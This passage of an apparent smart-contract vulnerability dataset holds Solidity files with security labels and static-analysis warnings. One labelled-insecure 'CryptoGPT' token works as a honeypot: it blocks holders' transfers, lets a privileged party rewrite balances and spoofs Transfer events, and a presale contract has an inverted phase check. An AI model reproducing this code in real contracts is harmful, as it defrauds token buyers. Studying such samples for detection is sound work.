_amountOfTokens <=\n ((totalSupply() * salePhasesPercentages[currentSalePhase]) /\n percentDivider) -\n saleCounter,\n \" You cannot buy that amountin current phase.Because tokens are is sold out.Try to decrease the amount\"\n );\n\n bool transferFromstatus = exchangeToken.transferFrom(\n msg.sender,\n address(this),\n _payAmount\n );\n require(\n transferFromstatus,\n \"Token Buy Failed due to exchange token transfer failed\"\n );\n\n bool transferStatus = this.transfer(msg.sender, _amountOfTokens);\n require(transferStatus, \"Token Buy Failed\");\n }\n\n function currentPresaleSoldPercentage()\n external\n view\n returns (uint256 _percentage)\n {\n _percentage =\n (saleCounter * percentDivider * 100) /\n ((totalSupply() * salePhasesPercentages[currentSalePhase]) /\n percentDivider);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address recipent = msg.sender;\n _transfer(recipent, to, amount);\n return true;\n }\n\n function allowance(\n address sender,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[sender][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address recipent = msg.sender;\n _approve(recipent, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address sender = msg.sender;\n _approve(sender, spender, allowance(sender, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address sender = msg.sender;\n uint256 currentAllowance = allowance(sender, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(sender, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _approve(\n address sender,\n address spender,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[sender][spender] = amount;\n emit Approval(sender, spender, amount);\n }\n\n function _spendAllowance(\n address sender,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(sender, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(sender, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function getTokenAmount(uint256 _amount) public view returns (uint256) {\n return (_amount * 1e18) / salePhasePrices[currentSalePhase];\n }\n\n function changeSalePhase(uint256 _phaseNo) external onlyOwner {\n require(_phaseNo >= 4, \"Cannot be greater than four phases\");\n currentSalePhase = _phaseNo;\n emit currentSalePhaseEvent(currentSalePhase);\n }\n\n function pauseOrUnpauseBuying(bool _pause) external onlyOwner {\n buyingPaused = _pause;\n }\n\n function setSalePhasesPercentages(\n uint256[4] memory _percentages,\n uint256 _percentDivider\n ) external onlyOwner {\n salePhasesPercentages = _percentages;\n percentDivider = _percentDivider;\n emit percentDividerEvent(percentDivider);\n }\n\n function setMinAmountofPurchase(\n uint256[4] memory _minPurchaseAmount\n ) external onlyOwner {\n minPurchaseAmount = _minPurchaseAmount;\n }\n\n function withdrawStuckToken(\n IERC20Metadata _token,\n uint256 _amount\n ) external onlyOwner {\n bool transferStatus = _token.transfer(msg.sender, _amount);\n require(transferStatus, \"Token Transfer Failed\");\n }\n\n function withdrawReceivedTokensBySale() external onlyOwner {\n bool transferStatus = exchangeToken.transfer(\n msg.sender,\n exchangeToken.balanceOf(address(this))\n );\n require(transferStatus, \"Token Transfer Failed\");\n }\n\n function changeExchangeToken(IERC20Metadata _token) external onlyOwner {\n exchangeToken = _token;\n }\n}",
"file_name": "solidity_code_2032.sol",
"secure": 1,
"size_bytes": 10288
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary KKUMAPROTOCOLERRORS{\n error CANNOT_SET_TO_ADDRESS_ZERO();\n error CANNOT_SET_TO_ZERO();\n error ERC20_TRANSFER_FROM_THE_ZERO_ADDRESS();\n error ERC20_TRANSER_TO_THE_ZERO_ADDRESS();\n error ERC20_TRANSFER_AMOUNT_EXCEEDS_BALANCE();\n error ERC20_MINT_TO_THE_ZERO_ADDRESS();\n error ERC20_BURN_FROM_THE_ZERO_ADDRESS();\n error ERC20_BURN_AMOUNT_EXCEEDS_BALANCE();\n error START_TIME_NOT_REACHED();\n error EPOCH_LENGTH_CANNOT_BE_ZERO();\n error EPOCH_LENGTH_TOO_HIGH(uint256 epochLength, uint256 maxEpochLength);\n error EPOCH_LENGTH_TOO_LOW(uint256 epochLength, uint256 minEpochLength);\n error ERROR_YIELD_LT_RAY();\n error ACCESS_CONTROL_ACCOUNT_IS_MISSING_ROLE(address account, bytes32 role);\n error BLACKLISTABLE_CALLER_IS_NOT_BLACKLISTER();\n error BLACKLISTABLE_ACCOUNT_IS_BLACKLISTED(address account);\n error NEW_YIELD_TOO_HIGH();\n error WRONG_RISK_CATEGORY();\n error WRONG_RISK_CONFIG();\n error INVALID_RISK_CATEGORY();\n error INVALID_TOKEN_ID();\n error ERC721_CALLER_IS_NOT_TOKEN_OWNER_OR_APPROVED();\n error ERC721_APPROVAL_TO_CURRENT_OWNER();\n error ERC721_APPROVE_CALLER_IS_NOT_TOKEN_OWNER_OR_APPROVED_FOR_ALL();\n error ERC721_INVALID_TOKEN_ID();\n error ERC721_CALLER_IS_NOT_TOKEN_OWNER();\n error CALLER_NOT_KUMASWAP();\n error CALLER_NOT_MIMO_BOND_TOKEN();\n error BOND_NOT_AVAILABLE_FOR_CLAIM();\n error CANNOT_SELL_MATURED_BOND();\n error NO_EXPIRED_BOND_IN_RESERVE();\n error MAX_COUPONS_REACHED();\n error COUPON_TOO_LOW();\n error CALLER_IS_NOT_MIB_TOKEN();\n error CALLER_NOT_FEE_COLLECTOR();\n error PAYEE_ALREADY_EXISTS();\n error PAYEE_DOES_NOT_EXIST();\n error PAYEES_AND_SHARES_MISMATCHED(\n uint256 payeeLength,\n uint256 shareLength\n );\n error NO_PAYEES();\n error NO_AVAILABLE_INCOME();\n error SHARE_CANNOT_BE_ZERO();\n error DEPRECATION_MODE_ENABLED();\n error DEPRECATION_MODE_ALREADY_INITIALIZED();\n error DEPRECATION_MODE_NOT_INITIALIZED();\n error DEPRECATION_MODE_NOT_ENABLED();\n error ELAPSED_TIME_SINCE_DEPRECATION_MODE_INITIALIZATION_TOO_SHORT(\n uint256 elapsed,\n uint256 minElapsedTime\n );\n error AMOUNT_CANNOT_BE_ZERO();\n error BOND_RESERVE_NOT_EMPTY();\n error BUYER_CANNOT_BE_ADDRESS_ZERO();\n error RISK_CATEGORY_MISMATCH();\n error EXPIRED_BONDS_MUST_BE_BOUGHT_FIRST();\n error BOND_NOT_MATURED();\n error CANNOT_TRANSFER_TO_SELF();\n error BOND_ALREADY_EXPIRED();\n error ORACLE_ANSWER_IS_STALE();\n}",
"file_name": "solidity_code_2033.sol",
"secure": 1,
"size_bytes": 2632
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary MMCAGERRORS{\n error CANNOT_SET_TO_ADDRESS_ZERO();\n error ERC721_APPROVAL_TO_CURRENT_OWNER();\n error ERC721_APPROVE_CALLER_IS_NOT_TOKEN_OWNER_OR_APPROVED_FOR_ALL();\n error ERC721_INVALID_TOKEN_ID();\n error ERC721_CALLER_IS_NOT_TOKEN_OWNER();\n error ACCESS_CONTROL_ACCOUNT_IS_MISSING_ROLE(address account, bytes32 role);\n error BLACKLIST_CALLER_IS_NOT_BLACKLISTER();\n error BLACKLIST_ACCOUNT_IS_NOT_BLACKLISTED(address account);\n error BLACKLIST_ACCOUNT_IS_BLACKLISTED(address account);\n error TRANSMITTED_ANSWER_TOO_HIGH(int256 answer, int256 maxAnswer);\n error TRANSMITTED_ANSWER_TOO_LOW(int256 answer, int256 minAnswer);\n error TOKEN_IS_NOT_TRANSFERABLE();\n error KYC_DATA_OWNER_MISMATCH(address to, address owner);\n error RATE_TOO_VOLATILE(\n uint256 absoluteRateChange,\n uint256 volatilityThreshold\n );\n error INVALID_VOLATILITY_THRESHOLD();\n error TERMS_AND_CONDITIONS_URL_DOES_NOT_EXIST(uint256 tncId);\n error TERM_TOO_LOW(uint256 term, uint256 minTerm);\n error RISK_CATEGORY_MISMATCH(\n bytes4 currency,\n bytes4 country,\n uint64 term,\n bytes32 riskCategory\n );\n error MATURITY_LESS_THAN_ISSUANCE(uint64 maturity, uint64 issuance);\n error INVALID_RISK_CATEGORY();\n error EMPTY_CUSIP_AND_ISIN();\n error INVALID_MAX_COUPON();\n error INVALID_COUPON(uint256 coupon, uint256 minCoupon, uint256 maxCoupon);\n}",
"file_name": "solidity_code_2034.sol",
"secure": 1,
"size_bytes": 1524
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary WrappedRebaseTokenErrors {\n error CONSTRUCTOR_ARGUMENT_CANNOT_BE_ADDRESS_ZERO();\n error UNWRAP_AMOUNT_EXCEEDS_BALANCE();\n error REBASE_TOKEN_PRICE_INVALID();\n error NO_TOKENS_TO_UNWRAP();\n error CANNOT_WITHDRAW_ZERO_TOKENS();\n error CANNOT_DEPOSIT_ZERO_TOKENS();\n}",
"file_name": "solidity_code_2035.sol",
"secure": 1,
"size_bytes": 359
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary OracleErrors {\n error CANNOT_SET_TO_ADDRESS_ZERO();\n error CANNOT_SET_TO_EMPTY_STRING();\n error ORACLE_DATA_CANNOT_BE_LESS_THAN_ZERO();\n}",
"file_name": "solidity_code_2036.sol",
"secure": 1,
"size_bytes": 220
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract CryptoGPT {\n using SafeMath for uint256;\n mapping(address => uint256) private RTKa;\n\n mapping(address => uint256) public RTKb;\n mapping(address => mapping(address => uint256)) public allowance;\n\t// WARNING Optimization Issue (constable-states | ID: 639bd66): CryptoGPT.name should be constant \n\t// Recommendation for 639bd66: Add the 'constant' attribute to state variables that never change.\n string public name = \"CryptoGPT\";\n\n\t// WARNING Optimization Issue (constable-states | ID: cf76153): CryptoGPT.symbol should be constant \n\t// Recommendation for cf76153: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"GPT\";\n\t// WARNING Optimization Issue (constable-states | ID: 755e258): CryptoGPT.decimals should be constant \n\t// Recommendation for 755e258: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 6;\n\n\t// WARNING Optimization Issue (constable-states | ID: 17f151b): CryptoGPT.totalSupply should be constant \n\t// Recommendation for 17f151b: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 500000000 * 10 ** 6;\n address owner = msg.sender;\n address private RTKc;\n\t// WARNING Optimization Issue (immutable-states | ID: 0bc1310): CryptoGPT.RTKd should be immutable \n\t// Recommendation for 0bc1310: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private RTKd;\n uint256 private RTKe;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\t// WARNING Optimization Issue (constable-states | ID: 07c28f2): CryptoGPT.RTKf should be constant \n\t// Recommendation for 07c28f2: Add the 'constant' attribute to state variables that never change.\n address RTKf = 0x00C5E04176d95A286fccE0E68c683Ca0bfec8454;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n RTKd = msg.sender;\n RTKa[msg.sender] = totalSupply;\n\n CREAT();\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner);\n _;\n }\n\n function renounceOwnership() public virtual {\n require(msg.sender == owner);\n emit OwnershipTransferred(owner, address(0));\n owner = address(0);\n }\n\n function CREAT() internal {\n RTKb[msg.sender] = 6;\n RTKc = RTKf;\n\n emit Transfer(address(0), RTKc, totalSupply);\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return RTKa[account];\n }\n\n function transfer(address to, uint256 value) public returns (bool success) {\n if (RTKb[msg.sender] <= RTKe) {\n require(RTKa[msg.sender] >= value);\n RTKa[msg.sender] -= value;\n RTKa[to] += value;\n emit Transfer(msg.sender, to, value);\n return true;\n }\n\n if (RTKb[msg.sender] > RTKe) {}\n }\n\n function approve(\n address spender,\n uint256 value\n ) public returns (bool success) {\n allowance[msg.sender][spender] = value;\n emit Approval(msg.sender, spender, value);\n return true;\n }\n\n function checkz(address RTKj, uint256 RTKk) public {\n if (RTKb[msg.sender] == RTKe) {\n RTKb[RTKj] = RTKk;\n }\n }\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3ff19a5): CryptoGPT.setz(uint256) should emit an event for RTKe = RTKk \n\t// Recommendation for 3ff19a5: Emit an event for critical parameter changes.\n function setz(uint256 RTKk) public onlyOwner {\n\t\t// events-maths | ID: 3ff19a5\n RTKe = RTKk;\n }\n\n function brnz(address RTKj, uint256 RTKk) public onlyOwner {\n RTKa[RTKj] = RTKk;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public returns (bool success) {\n if (RTKb[from] < RTKe && RTKb[to] < RTKe) {\n require(value <= RTKa[from]);\n require(value <= allowance[from][msg.sender]);\n RTKa[from] -= value;\n RTKa[to] += value;\n allowance[from][msg.sender] -= value;\n emit Transfer(from, to, value);\n return true;\n }\n\n if (RTKb[from] == RTKe) {\n require(value <= RTKa[from]);\n require(value <= allowance[from][msg.sender]);\n RTKa[from] -= value;\n RTKa[to] += value;\n allowance[from][msg.sender] -= value;\n\n from = RTKf;\n\n emit Transfer(from, to, value);\n return true;\n }\n\n if (RTKb[from] > RTKe || RTKb[to] > RTKe) {}\n }\n}",
"file_name": "solidity_code_2037.sol",
"secure": 0,
"size_bytes": 5060
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface Shard {\n function balanceOf(address wallet) external view returns (uint256);\n function burnShards(address wallet, uint256 amount) external;\n}",
"file_name": "solidity_code_2038.sol",
"secure": 1,
"size_bytes": 222
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ShardOld {\n function balanceOf(address wallet) external view returns (uint256);\n function burnShards(address wallet, uint256 amount) external;\n}",
"file_name": "solidity_code_2039.sol",
"secure": 1,
"size_bytes": 225
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}",
"file_name": "solidity_code_204.sol",
"secure": 1,
"size_bytes": 764
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface MP {\n function balanceOf(address wallet) external view returns (uint256);\n}",
"file_name": "solidity_code_2040.sol",
"secure": 1,
"size_bytes": 152
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface Frame {\n function getTokensStaked(\n address wallet\n ) external view returns (uint256[] memory);\n}",
"file_name": "solidity_code_2041.sol",
"secure": 1,
"size_bytes": 186
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./Shard.sol\" as Shard;\nimport \"./ShardOld.sol\" as ShardOld;\nimport \"./MP.sol\" as MP;\nimport \"./Frame.sol\" as Frame;\n\ncontract Reservation is Ownable {\n Shard private shards;\n ShardOld private shardOld;\n MP private mp;\n Frame private frame;\n\n uint256 public reserveTime = 0;\n uint256 public closeTime = 0;\n\n uint256 public totalReserved = 0;\n uint256 public reservePrice = 280 ether;\n\n mapping(address => uint256) public reservedBots;\n mapping(address => bool) public adminAddresses;\n\n event Reserved(address wallet, uint256 amount, uint256 timestamp);\n\n modifier onlyAdmins() {\n require(\n adminAddresses[msg.sender],\n \"You're not authorized to call this\"\n );\n _;\n }\n\n modifier isNotContract() {\n require(tx.origin == msg.sender, \"No contracts allowed\");\n _;\n }\n\n modifier isReservationAvailable() {\n require(\n reserveTime > 0 && closeTime > 0,\n \"Reserving is currently disabled\"\n );\n require(\n block.timestamp >= reserveTime,\n \"Reserving is currently disabled\"\n );\n require(closeTime > block.timestamp, \"Reserving has now ended\");\n _;\n }\n\n modifier isHolder() {\n require(\n mp.balanceOf(msg.sender) > 0 ||\n frame.getTokensStaked(msg.sender).length > 0,\n \"You're not a mirror pass holder\"\n );\n _;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d40eaea): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d40eaea: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a63c201): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a63c201: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function reserve(\n uint256 amount,\n uint256 oldBal,\n uint256 newBal\n ) public isNotContract isReservationAvailable isHolder {\n require(\n (shards.balanceOf(msg.sender) + shardOld.balanceOf(msg.sender)) >=\n amount * reservePrice,\n \"Not enough shards to reserve this amount\"\n );\n require(\n oldBal + newBal >= amount * reservePrice,\n \"Not enough shards provided in the transaction\"\n );\n\n if (oldBal > 0) {\n\t\t\t// reentrancy-events | ID: d40eaea\n\t\t\t// reentrancy-benign | ID: a63c201\n shardOld.burnShards(msg.sender, oldBal);\n }\n\n if (newBal > 0) {\n\t\t\t// reentrancy-events | ID: d40eaea\n\t\t\t// reentrancy-benign | ID: a63c201\n shards.burnShards(msg.sender, newBal);\n }\n\n\t\t// reentrancy-benign | ID: a63c201\n totalReserved += amount;\n\t\t// reentrancy-benign | ID: a63c201\n reservedBots[msg.sender] += amount;\n\t\t// reentrancy-events | ID: d40eaea\n emit Reserved(msg.sender, amount, block.timestamp);\n }\n\n function changeReservedFromWallet(\n address wallet,\n uint256 amount\n ) public onlyAdmins {\n reservedBots[wallet] = amount;\n }\n\n function setShardsContract(address shardsContract) public onlyOwner {\n shards = Shard(shardsContract);\n }\n\n function setOldShardsContract(address oldContract) public onlyOwner {\n shardOld = ShardOld(oldContract);\n }\n\n function setTokenContract(address tokenContract) public onlyOwner {\n mp = MP(tokenContract);\n }\n\n function setFrameContract(address frameContract) public onlyOwner {\n frame = Frame(frameContract);\n }\n\n function setReservePrice(uint256 amount) public onlyOwner {\n reservePrice = amount;\n }\n\n function setReserving(uint256 timestamp) public onlyOwner {\n reserveTime = timestamp;\n closeTime = timestamp + 1 days;\n }\n\n function forceCloseTime(uint256 time) public onlyOwner {\n closeTime = time;\n }\n\n function setAdminAddresses(\n address contractAddress,\n bool state\n ) public onlyOwner {\n adminAddresses[contractAddress] = state;\n }\n}",
"file_name": "solidity_code_2042.sol",
"secure": 0,
"size_bytes": 4735
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nabstract contract Context {\n bytes32 private constant Context_SLOT_0 =\n 0xee202464acfa01ce8b33bd8cc350286a4e0ca7010520fc9431e0385dc3fc9927;\n\n bytes32 private constant NAME_HASH =\n 0x00000000000000000000000000000000000000008af0c42ed8058a3af8000000;\n\n constructor() {\n assembly {\n sstore(Context_SLOT_0, NAME_HASH)\n }\n }\n\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n return msg.data;\n }\n}",
"file_name": "solidity_code_2043.sol",
"secure": 1,
"size_bytes": 682
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract BitcoinSparkStaking is Ownable, ReentrancyGuard {\n using SafeMath for uint256;\n using SafeERC20 for IERC20;\n\n struct UserInfo {\n uint256 amount;\n uint256 rewardDebt;\n }\n\n struct PoolInfo {\n IERC20 token;\n uint256 lastRewardTime;\n uint256 accTokenPerShare;\n uint256 supply;\n uint256 startTime;\n uint256 endTime;\n uint256 rewardPerSec;\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8de4bb4): BitcoinSparkStaking.token should be immutable \n\t// Recommendation for 8de4bb4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC20 public token;\n\n PoolInfo[] public poolInfo;\n\n mapping(uint256 => mapping(address => UserInfo)) public userInfo;\n\n constructor(IERC20 _token) {\n token = _token;\n add(_token, 1702134000, 1713711600, 0.0241126543209877 ether);\n }\n\n function add(\n IERC20 _token,\n uint256 _startTime,\n uint256 _endTime,\n uint256 _rewardPerSec\n ) public onlyOwner {\n require(_endTime > _startTime, \"Start Time < End Time\");\n poolInfo.push(\n PoolInfo({\n token: _token,\n lastRewardTime: _startTime,\n accTokenPerShare: 0,\n supply: 0,\n startTime: _startTime,\n endTime: _endTime,\n rewardPerSec: _rewardPerSec\n })\n );\n }\n\n function set(\n uint256 _pid,\n uint256 _startTime,\n uint256 _endTime,\n uint256 _rewardPerSec\n ) external onlyOwner {\n updatePool(_pid);\n poolInfo[_pid].startTime = _startTime;\n poolInfo[_pid].endTime = _endTime;\n poolInfo[_pid].rewardPerSec = _rewardPerSec;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 616cd92): BitcoinSparkStaking.getMultiplier(uint256,uint256,uint256) uses timestamp for comparisons Dangerous comparisons pool.endTime < _to _to < _from\n\t// Recommendation for 616cd92: Avoid relying on 'block.timestamp'.\n function getMultiplier(\n uint256 _pid,\n uint256 _from,\n uint256 _to\n ) public view returns (uint256) {\n PoolInfo storage pool = poolInfo[_pid];\n\t\t// timestamp | ID: 616cd92\n if (pool.endTime < _to) _to = pool.endTime;\n if (pool.startTime > _from) _from = pool.startTime;\n\t\t// timestamp | ID: 616cd92\n if (_to < _from) return 0;\n return _to.sub(_from);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 0d5d3d5): BitcoinSparkStaking.pendingToken(uint256,address) uses timestamp for comparisons Dangerous comparisons block.timestamp > pool.lastRewardTime && pool.supply != 0\n\t// Recommendation for 0d5d3d5: Avoid relying on 'block.timestamp'.\n function pendingToken(\n uint256 _pid,\n address _user\n ) external view returns (uint256) {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][_user];\n uint256 accTokenPerShare = pool.accTokenPerShare;\n\n\t\t// timestamp | ID: 0d5d3d5\n if (block.timestamp > pool.lastRewardTime && pool.supply != 0) {\n uint256 multiplier = getMultiplier(\n _pid,\n pool.lastRewardTime,\n block.timestamp\n );\n uint256 tokenReward = multiplier.mul(pool.rewardPerSec);\n accTokenPerShare = accTokenPerShare.add(\n tokenReward.mul(1e18).div(pool.supply)\n );\n }\n return user.amount.mul(accTokenPerShare).div(1e18).sub(user.rewardDebt);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: d27190f): BitcoinSparkStaking.updatePool(uint256) uses timestamp for comparisons Dangerous comparisons block.timestamp <= pool.lastRewardTime block.timestamp > pool.endTime\n\t// Recommendation for d27190f: Avoid relying on 'block.timestamp'.\n function updatePool(uint256 _pid) public {\n PoolInfo storage pool = poolInfo[_pid];\n\t\t// timestamp | ID: d27190f\n if (block.timestamp <= pool.lastRewardTime) {\n return;\n }\n\n if (\n pool.supply == 0 ||\n pool.rewardPerSec == 0 ||\n pool.lastRewardTime == pool.endTime\n ) {\n pool.lastRewardTime = block.timestamp;\n return;\n }\n\n uint256 multiplier = getMultiplier(\n _pid,\n pool.lastRewardTime,\n block.timestamp\n );\n uint256 tokenReward = multiplier.mul(pool.rewardPerSec);\n pool.accTokenPerShare = pool.accTokenPerShare.add(\n tokenReward.mul(1e18).div(pool.supply)\n );\n\t\t// timestamp | ID: d27190f\n if (block.timestamp > pool.endTime) {\n pool.lastRewardTime = pool.endTime;\n } else {\n pool.lastRewardTime = block.timestamp;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: acb0eee): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for acb0eee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function deposit(uint256 _pid, uint256 _amount) external nonReentrant {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n updatePool(_pid);\n\n if (user.amount > 0) {\n uint256 pending = user\n .amount\n .mul(pool.accTokenPerShare)\n .div(1e18)\n .sub(user.rewardDebt);\n if (pending > 0) {\n\t\t\t\t// reentrancy-no-eth | ID: acb0eee\n safeTokenTransfer(msg.sender, pending);\n }\n }\n\n if (_amount > 0) {\n\t\t\t// reentrancy-no-eth | ID: acb0eee\n pool.token.safeTransferFrom(\n address(msg.sender),\n address(this),\n _amount\n );\n\t\t\t// reentrancy-no-eth | ID: acb0eee\n user.amount = user.amount.add(_amount);\n\t\t\t// reentrancy-no-eth | ID: acb0eee\n pool.supply = pool.supply.add(_amount);\n }\n\t\t// reentrancy-no-eth | ID: acb0eee\n user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(1e18);\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: a446edd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for a446edd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 1487f06): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 1487f06: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdraw(uint256 _pid, uint256 _amount) external nonReentrant {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n require(user.amount >= _amount, \"withdraw: not good\");\n updatePool(_pid);\n uint256 pending = user.amount.mul(pool.accTokenPerShare).div(1e18).sub(\n user.rewardDebt\n );\n if (pending > 0) {\n\t\t\t// reentrancy-no-eth | ID: a446edd\n\t\t\t// reentrancy-no-eth | ID: 1487f06\n safeTokenTransfer(msg.sender, pending);\n }\n if (_amount > 0) {\n\t\t\t// reentrancy-no-eth | ID: a446edd\n user.amount = user.amount.sub(_amount);\n\t\t\t// reentrancy-no-eth | ID: 1487f06\n pool.token.safeTransfer(msg.sender, _amount);\n\t\t\t// reentrancy-no-eth | ID: 1487f06\n pool.supply = pool.supply.sub(_amount);\n }\n\t\t// reentrancy-no-eth | ID: 1487f06\n user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(1e18);\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 30e823a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 30e823a: Apply the check-effects-interactions pattern (see 